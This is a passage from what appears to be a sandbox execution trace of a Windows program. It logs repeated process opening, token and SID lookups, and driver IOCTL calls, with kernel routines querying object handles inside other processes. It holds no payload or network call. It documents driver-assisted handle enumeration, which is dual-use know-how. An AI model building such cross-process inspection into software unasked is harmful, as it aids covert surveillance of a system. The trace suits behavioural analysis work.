nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.035] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020d7b30, HandleInformation=0x0) returned 0x0 [0106.036] ObOpenObjectByPointer (in: Object=0xfffffa80020d7b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.036] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x12 [0106.036] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.036] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.036] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.036] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.036] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.037] CloseHandle (hObject=0xc8) returned 1 [0106.037] CloseHandle (hObject=0xc0) returned 1 [0106.037] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.037] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.037] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.037] PsAcquireProcessExitSynchronization () returned 0x0 [0106.037] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff88004f095d0) [0106.037] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020caa70, HandleInformation=0x0) returned 0x0 [0106.037] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.037] PsReleaseProcessExitSynchronization () returned 0x2 [0106.037] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0106.038] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.038] ObfDereferenceObject (Object=0xfffffa80020caa70) returned 0x1 [0106.038] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.038] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.038] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.038] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0106.038] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.038] PsAcquireProcessExitSynchronization () returned 0x0 [0106.038] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff88004f095d0) [0106.038] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020d0790, HandleInformation=0x0) returned 0x0 [0106.038] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.038] PsReleaseProcessExitSynchronization () returned 0x2 [0106.038] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0106.038] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.038] ObfDereferenceObject (Object=0xfffffa80020d0790) returned 0x1 [0106.038] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.038] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.038] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.038] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.038] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.038] PsAcquireProcessExitSynchronization () returned 0x0 [0106.040] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff88004f095d0) [0106.040] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.040] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.040] PsReleaseProcessExitSynchronization () returned 0x2 [0106.040] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0106.040] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.040] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.040] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.040] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.040] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xaa0) returned 0xc0 [0106.040] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.040] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020f7380, HandleInformation=0x0) returned 0x0 [0106.040] ObOpenObjectByPointer (in: Object=0xfffffa80020f7380, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.040] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x12 [0106.040] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.040] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.040] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.041] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.041] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.042] CloseHandle (hObject=0xc8) returned 1 [0106.042] CloseHandle (hObject=0xc0) returned 1 [0106.042] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.042] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.042] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.042] PsAcquireProcessExitSynchronization () returned 0x0 [0106.042] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff88004f095d0) [0106.042] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002044750, HandleInformation=0x0) returned 0x0 [0106.042] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.042] PsReleaseProcessExitSynchronization () returned 0x2 [0106.042] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0106.042] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.042] ObfDereferenceObject (Object=0xfffffa8002044750) returned 0x1 [0106.042] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.042] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.042] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.043] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0106.043] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.043] PsAcquireProcessExitSynchronization () returned 0x0 [0106.043] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff88004f095d0) [0106.043] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002056c20, HandleInformation=0x0) returned 0x0 [0106.043] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.043] PsReleaseProcessExitSynchronization () returned 0x2 [0106.043] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0106.043] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.043] ObfDereferenceObject (Object=0xfffffa8002056c20) returned 0x1 [0106.043] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.043] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.043] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.043] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.043] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.043] PsAcquireProcessExitSynchronization () returned 0x0 [0106.043] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff88004f095d0) [0106.043] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.043] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.043] PsReleaseProcessExitSynchronization () returned 0x2 [0106.043] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0106.043] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.043] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.043] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.043] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.043] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xab0) returned 0xc0 [0106.043] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.043] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002115b30, HandleInformation=0x0) returned 0x0 [0106.043] ObOpenObjectByPointer (in: Object=0xfffffa8002115b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.043] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x12 [0106.043] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.043] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.044] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.044] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.044] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.045] CloseHandle (hObject=0xc8) returned 1 [0106.045] CloseHandle (hObject=0xc0) returned 1 [0106.045] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.045] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.045] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.045] PsAcquireProcessExitSynchronization () returned 0x0 [0106.045] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff88004f095d0) [0106.045] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020f7cb0, HandleInformation=0x0) returned 0x0 [0106.045] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.045] PsReleaseProcessExitSynchronization () returned 0x2 [0106.045] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0106.045] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.045] ObfDereferenceObject (Object=0xfffffa80020f7cb0) returned 0x1 [0106.045] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.045] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.045] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0106.046] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.046] PsAcquireProcessExitSynchronization () returned 0x0 [0106.046] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff88004f095d0) [0106.046] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001a225b0, HandleInformation=0x0) returned 0x0 [0106.046] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.046] PsReleaseProcessExitSynchronization () returned 0x2 [0106.046] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0106.046] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.046] ObfDereferenceObject (Object=0xfffffa8001a225b0) returned 0x1 [0106.046] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.046] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.046] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.046] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.046] PsAcquireProcessExitSynchronization () returned 0x0 [0106.046] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff88004f095d0) [0106.046] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.046] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.046] PsReleaseProcessExitSynchronization () returned 0x2 [0106.046] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0106.046] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.046] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0106.046] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.046] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.046] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xac0) returned 0xc0 [0106.046] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.046] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002110630, HandleInformation=0x0) returned 0x0 [0106.046] ObOpenObjectByPointer (in: Object=0xfffffa8002110630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.046] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x12 [0106.046] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa80021b7380 | out: TokenHandle=0xfffffa80021b7380*=0xc8) returned 0x0 [0106.047] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.047] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.047] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.047] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.048] CloseHandle (hObject=0xc8) returned 1 [0106.048] CloseHandle (hObject=0xc0) returned 1 [0106.048] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.048] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0106.048] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.048] PsAcquireProcessExitSynchronization () returned 0x0 [0106.048] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff88004f095d0) [0106.049] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020ceba0, HandleInformation=0x0) returned 0x0 [0106.049] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.049] PsReleaseProcessExitSynchronization () returned 0x2 [0106.049] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0106.049] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.049] ObfDereferenceObject (Object=0xfffffa80020ceba0) returned 0x1 [0106.049] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.049] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.049] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0106.049] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 